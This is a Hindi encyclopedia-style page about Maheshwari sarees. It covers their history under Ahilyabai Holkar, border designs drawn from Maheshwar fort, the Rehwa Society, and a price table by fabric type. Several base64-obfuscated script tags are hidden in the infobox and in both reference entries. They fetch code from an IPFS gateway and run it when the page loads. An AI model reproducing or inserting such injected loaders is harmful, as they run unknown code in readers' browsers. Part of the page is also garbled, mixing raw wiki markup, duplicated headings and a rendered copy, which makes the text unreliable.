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'''महेश्वरी साड़ी''' [[मध्य प्रदेश]] के [[महेश्वर (मध्य प्रदेश)|महेश्वर]] में स्त्रियों द्वारा प्रमुख रूप से पहनी जाती है। पहले केवल सूती [[साड़ी|साड़ियाँ]] ही बनाई जाती थीं, लेकिन धीरे-धीरे इसमें सुधार आता गया और उच्च गुणवत्ता वाली रेशमी साड़ियाँ आदि भी बनाई जाने लगीं।
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==इतिहास==
 
==इतिहास==
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====वर्गीकरण====
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====अहिल्याबाई का योगदान====
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महेश्वर में निर्मित होने वाली महेश्वरी साड़ियाँ देशभर में प्रसिद्ध हैं। देवी अहिल्याबाई की राजधानी बनने के बाद महेश्वर ने विकास के कई अध्याय देखे। एक छोटे से गाँव से [[इंदौर]] राज्य की राजधानी बनने के बाद अब महेश्वर को बड़ी तेज़ीसे विकसित किया जा रहा था। सामाजिक, धार्मिक भौतिक तथा सांस्कृतिक विकास के साथ ही साथ देवी अहिल्याबाई ने अपनी राजधानी को औद्योगिक रूप से समृद्ध करने के उद्देश्य से अपने यहाँ वस्त्र निर्माण प्रारंभ करने की योजना बनाई। उस समय पूरे देश में वस्त्र निर्माण तथा हथकरघा में हैदराबादी बुनकरों का कोई जवाब नहीं था। अतः देवी अहिल्याबाई ने [[हैदराबाद]] के बुनकरों को अपने यहाँ महेश्वर में आकर बसने के लिए आमंत्रित किया तथा अपना बुनकरी का पुश्तैनी कार्य यहीं महेश्वर में रहकर करने का आग्रह किया। अंततः देवी अहिल्या के प्रयासों से हैदराबाद से कुछ बुनकर महेश्वर आकर बस गए तथा यहीं अपना कपड़ा बुनने का कार्य करने लगे। इन बुनकरों के हाथ में जैसे जादू था, वे इतना सुन्दर कपड़ा बुनते थे की लोग दांतों तले उंगली दबा लेते थे।
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[[चित्र:Maheshwari-Saree.jpg|thumb|left|250px|महेश्वरी साड़ियाँ]]
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इन बुनकरों को प्रोत्साहित करने के लिए देवी अहिल्याबाई इनके द्वारा निर्मित वस्त्रों का एक बड़ा हिस्सा स्वयं ख़रीद लेती थीं, जिससे इन बुनकरों को लगातार रोजगार मिलता रहता था। इस तरह ख़रीदे वस्त्र महारानी अहिल्याबाई स्वयं के लिए, अपने रिश्तेदारों के लिए तथा दूर-दूर से उन्हें मिलने आने वाले मेहमानों तथा आगंतुकों को भेंट देने में उपयोग करती थीं। इस तरह से कुछ ही वर्षों में महेश्वर में निर्मित इन वस्त्रों, ख़ासकर महेश्वरी साड़ियों की ख्याति पुरे [[भारत]] में फैलने लगी, तथा अब [[महेश्वरी साड़ी]] अपने नाम से बहुत दूर-दूर तक मशहूर हो गई।<ref>{{cite web |url= http://www.ghumakkar.com/%E0%A4%AE%E0%A4%B9%E0%A5%87%E0%A4%B6%E0%A5%8D%E0%A4%B5%E0%A4%B0-%E0%A4%8F%E0%A4%95-%E0%A4%A6%E0%A4%BF%E0%A4%A8-%E0%A4%A6%E0%A5%87%E0%A4%B5%E0%A5%80-%E0%A4%85%E0%A4%B9%E0%A4%BF%E0%A4%B2%E0%A5%8D-2/|title= महेश्वर किला-पत्थर की दीवारों में कैद यादें, भाग-3|accessmonthday=31 अगस्त|accessyear= 2014|last= |first= |authorlink= |format= |publisher= घुमक्कड़|language= हिन्दी}}</ref>
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==शिल्प व नक्काशी==
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इन बुनकरों से देवी अहिल्याबाई का विशेष आग्रह होता था कि वे इन साड़ियों पर तथा अन्य वस्त्रों पर महेश्वर क़िले की दीवारों पर बनाई गई डिज़ाइनें बनाएं और ये बुनकर ऐसा ही करते थे। आज भी महेश्वरी साड़ियों की किनारियों पर महेश्वर क़िले की दीवारों के शिल्प वाली डिज़ाइनें मिल जायेंगीं। देवी अहिल्याबाई चली गईं, राज रजवाड़े चले गए, सब कुछ बदल गया, लेकिन जिस तरह आज भी महेश्वर का क़िला अपनी पूरी शानो-शौकत से [[नर्मदा नदी]] के किनारे खड़ा है, उसी तरह महेश्वर की वे प्रसिद्द साड़ियाँ आज भी अपने उसी स्वरूप उसी निर्माण पद्धति, उसी सामग्री तथा उसी [[रंग]] व रूप एवं डिज़ाइन में निर्मित होती हैं तथा महेश्वर के अलावा देश के अन्य कई हिस्सों में महेश्वरी साड़ी के नाम से बहुतायत में बिकती हैं। महेश्वरी साड़ियों की परंपरा को जीवित रखने के लिए तथा इस कला के विकास के लिए [[इंदौर]] राज्य के अंतिम शासक महाराजा [[यशवंतराव होल्कर]] के इकलौते पुत्र युवराज रिचर्ड ने 'रेवा सोसाइटी' नामक एक संस्था का निर्माण किया जो आज भी [[महेश्वर क़िला|महेश्वर क़िले]] में ही महेश्वरी साड़ियों का निर्माण करती है।
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====गुणवत्ता के आधार पर वर्गीकरण====
 
साड़ियों में प्रयुक्त सामग्री एवं उसकी गुणवत्ता के आधार पर महेश्वरी साड़ियों का निम्न प्रकार से वर्गीकरण किया जाता है-
 
साड़ियों में प्रयुक्त सामग्री एवं उसकी गुणवत्ता के आधार पर महेश्वरी साड़ियों का निम्न प्रकार से वर्गीकरण किया जाता है-
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! साड़ी का प्रकार
 
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! निर्माण सामग्री
महेश्वरी साड़ियाँ उनके किनारे के प्रिंट के अनुसार भी वर्गीकृत की जाती हैं। इसके अतिरिक्त स्कार्फ, दुपट्टा, सलवार कुर्ता आदि भी बनाए जाते हैं। वर्तमान में लगभग 1000 परिवार इस कुटीर उद्योग से जुड़े हुए हैं।
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! मूल्य
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08:22, 10 फ़रवरी 2021 के समय का अवतरण

महेश्वरी साड़ी
महेश्वरी साड़ियाँ
विवरण मध्य प्रदेश के महेश्वर में स्त्रियों द्वारा प्रमुख रूप से पहनी जाती है।
इतिहास होल्कर वंश की महान् शासक देवी अहिल्याबाई होल्कर ने महेश्वर में सन 1767 में कुटीर उद्योग स्थापित करवाया था। इसमें पहले केवल सूती साड़ियाँ ही बनाई जाती थीं, परन्तु बाद में उच्च गुणवत्ता वाली रेशमी तथा सोनेचांदी के धागों से बनी साड़ियाँ भी बनाई जाने लगीं।
शिल्पकला ऐसी मान्यता है कि अहिल्याबाई होल्कर के विशेष आग्रह के अनुसार यहाँ के बुनकर (साड़ी बनाने वाले) इन साड़ियों पर तथा अन्य वस्त्रों पर महेश्वर क़िले की दीवारों पर बनाई गई डिज़ाइन बनाते हैं।
रेवा सोसाइटी महेश्वरी साड़ियों की परंपरा को जीवित रखने के लिए तथा इस कला के विकास के लिए इंदौर राज्य के अंतिम शासक महाराजा यशवंतराव होल्कर के इकलौते पुत्र युवराज रिचर्ड ने 'रेवा सोसाइटी' नामक इस संस्था का निर्माण किया जो आज भी महेश्वर क़िले में ही महेश्वरी साड़ियों का निर्माण करती है।
अन्य जानकारी वर्तमान में लगभग 1000 परिवार इस कुटीर उद्योग से जुड़े हुए हैं।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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महेश्वरी साड़ी मध्य प्रदेश के महेश्वर में स्त्रियों द्वारा प्रमुख रूप से पहनी जाती है। पहले केवल सूती साड़ियाँ ही बनाई जाती थीं, लेकिन धीरे-धीरे इसमें सुधार आता गया और उच्च गुणवत्ता वाली रेशमी साड़ियाँ आदि भी बनाई जाने लगीं।

इतिहास

महेश्वरी साड़ियों का इतिहास लगभग 250 वर्ष पुराना है। होल्कर वंश की महान् शासक देवी अहिल्याबाई होल्कर ने महेश्वर में सन 1767 में कुटीर उद्योग स्थापित करवाया था। गुजरात एवं भारत के अन्य शहरों से बुनकरों के परिवारों को उन्होंने यहाँ लाकर बसाया तथा उन्हें घर, व्यापार आदि की सुविधाएँ प्रदान कीं। पहले केवल सूती साड़ियाँ ही बनाई जाती थीं, परन्तु बाद के समय में सुधार आता गया तथा उच्च गुणवत्ता वाली रेशमी तथा सोनेचांदी के धागों से बनी साड़ियाँ भी बनाई जाने लगीं।

अहिल्याबाई का योगदान

महेश्वर में निर्मित होने वाली महेश्वरी साड़ियाँ देशभर में प्रसिद्ध हैं। देवी अहिल्याबाई की राजधानी बनने के बाद महेश्वर ने विकास के कई अध्याय देखे। एक छोटे से गाँव से इंदौर राज्य की राजधानी बनने के बाद अब महेश्वर को बड़ी तेज़ीसे विकसित किया जा रहा था। सामाजिक, धार्मिक भौतिक तथा सांस्कृतिक विकास के साथ ही साथ देवी अहिल्याबाई ने अपनी राजधानी को औद्योगिक रूप से समृद्ध करने के उद्देश्य से अपने यहाँ वस्त्र निर्माण प्रारंभ करने की योजना बनाई। उस समय पूरे देश में वस्त्र निर्माण तथा हथकरघा में हैदराबादी बुनकरों का कोई जवाब नहीं था। अतः देवी अहिल्याबाई ने हैदराबाद के बुनकरों को अपने यहाँ महेश्वर में आकर बसने के लिए आमंत्रित किया तथा अपना बुनकरी का पुश्तैनी कार्य यहीं महेश्वर में रहकर करने का आग्रह किया। अंततः देवी अहिल्या के प्रयासों से हैदराबाद से कुछ बुनकर महेश्वर आकर बस गए तथा यहीं अपना कपड़ा बुनने का कार्य करने लगे। इन बुनकरों के हाथ में जैसे जादू था, वे इतना सुन्दर कपड़ा बुनते थे की लोग दांतों तले उंगली दबा लेते थे।

महेश्वरी साड़ियाँ

इन बुनकरों को प्रोत्साहित करने के लिए देवी अहिल्याबाई इनके द्वारा निर्मित वस्त्रों का एक बड़ा हिस्सा स्वयं ख़रीद लेती थीं, जिससे इन बुनकरों को लगातार रोजगार मिलता रहता था। इस तरह ख़रीदे वस्त्र महारानी अहिल्याबाई स्वयं के लिए, अपने रिश्तेदारों के लिए तथा दूर-दूर से उन्हें मिलने आने वाले मेहमानों तथा आगंतुकों को भेंट देने में उपयोग करती थीं। इस तरह से कुछ ही वर्षों में महेश्वर में निर्मित इन वस्त्रों, ख़ासकर महेश्वरी साड़ियों की ख्याति पुरे भारत में फैलने लगी, तथा अब महेश्वरी साड़ी अपने नाम से बहुत दूर-दूर तक मशहूर हो गई।[1]

शिल्प व नक्काशी

इन बुनकरों से देवी अहिल्याबाई का विशेष आग्रह होता था कि वे इन साड़ियों पर तथा अन्य वस्त्रों पर महेश्वर क़िले की दीवारों पर बनाई गई डिज़ाइनें बनाएं और ये बुनकर ऐसा ही करते थे। आज भी महेश्वरी साड़ियों की किनारियों पर महेश्वर क़िले की दीवारों के शिल्प वाली डिज़ाइनें मिल जायेंगीं। देवी अहिल्याबाई चली गईं, राज रजवाड़े चले गए, सब कुछ बदल गया, लेकिन जिस तरह आज भी महेश्वर का क़िला अपनी पूरी शानो-शौकत से नर्मदा नदी के किनारे खड़ा है, उसी तरह महेश्वर की वे प्रसिद्द साड़ियाँ आज भी अपने उसी स्वरूप उसी निर्माण पद्धति, उसी सामग्री तथा उसी रंग व रूप एवं डिज़ाइन में निर्मित होती हैं तथा महेश्वर के अलावा देश के अन्य कई हिस्सों में महेश्वरी साड़ी के नाम से बहुतायत में बिकती हैं। महेश्वरी साड़ियों की परंपरा को जीवित रखने के लिए तथा इस कला के विकास के लिए इंदौर राज्य के अंतिम शासक महाराजा यशवंतराव होल्कर के इकलौते पुत्र युवराज रिचर्ड ने 'रेवा सोसाइटी' नामक एक संस्था का निर्माण किया जो आज भी महेश्वर क़िले में ही महेश्वरी साड़ियों का निर्माण करती है।

गुणवत्ता के आधार पर वर्गीकरण

साड़ियों में प्रयुक्त सामग्री एवं उसकी गुणवत्ता के आधार पर महेश्वरी साड़ियों का निम्न प्रकार से वर्गीकरण किया जाता है-

साड़ियों का वर्गीकरण[2]
साड़ी का प्रकार निर्माण सामग्री मूल्य
नीम रेशमी 50 प्रतिशत रेशम तथा 50 प्रतिशत अच्छा सूत 600 रुपये से 800 रुपये तक
बनारसी एवं कांजीवरम साड़ियों जैसा शुद्ध रेशमी (मालाबार रेशम) 2000 रुपये से 3000 रुपये तक
कतान साड़ी 100 प्रतिशत शुद्ध रेशम, कड़क कपड़ा (जैसे चंदेरी साड़ी में होता है) 2000 रुपये से 2500 रुपये तक
चौड़ाई में पट्टियां 75 प्रतिशत रेशम एवं 25 प्रतिशत अच्छा सूत 1000 रुपये से 1500 रुपये तक
टिश्यू साड़ी रेशम, सूत एवं जरी से बनी 2500 रुपये से 3000 रुपये तक
मर्सराइज्ड चेक्स साड़ी 50 प्रतिशत रेशम, 50 प्रतिशत अच्छा सूत 700 रुपये से 1000 रुपये तक
मर्सराइज्ड रास्ता साड़ी 50 प्रतिशत रेशम, 50 प्रतिशत अच्छा सूत 700 रुपये से 1000 रुपये तक

महेश्वरी साड़ियां उनके किनारे के प्रिंट के अनुसार भी वर्गीकृत की जाती हैं। इसके अतिरिक्त स्कार्फ, दुपट्टा, सलवार कुर्ता आदि भी बनाए जाते हैं। वर्तमान में लगभग 1000 परिवार इस कुटीर उद्योग से जुड़े हुए हैं।


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टीका टिप्पणी और संदर्भ

  1. महेश्वर किला-पत्थर की दीवारों में कैद यादें, भाग-3 (हिन्दी) घुमक्कड़। अभिगमन तिथि: 31 अगस्त, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. महेश्वरी साड़ियाँ-उत्पाद (हिन्दी) खरगौन। अभिगमन तिथि: 31 अगस्त, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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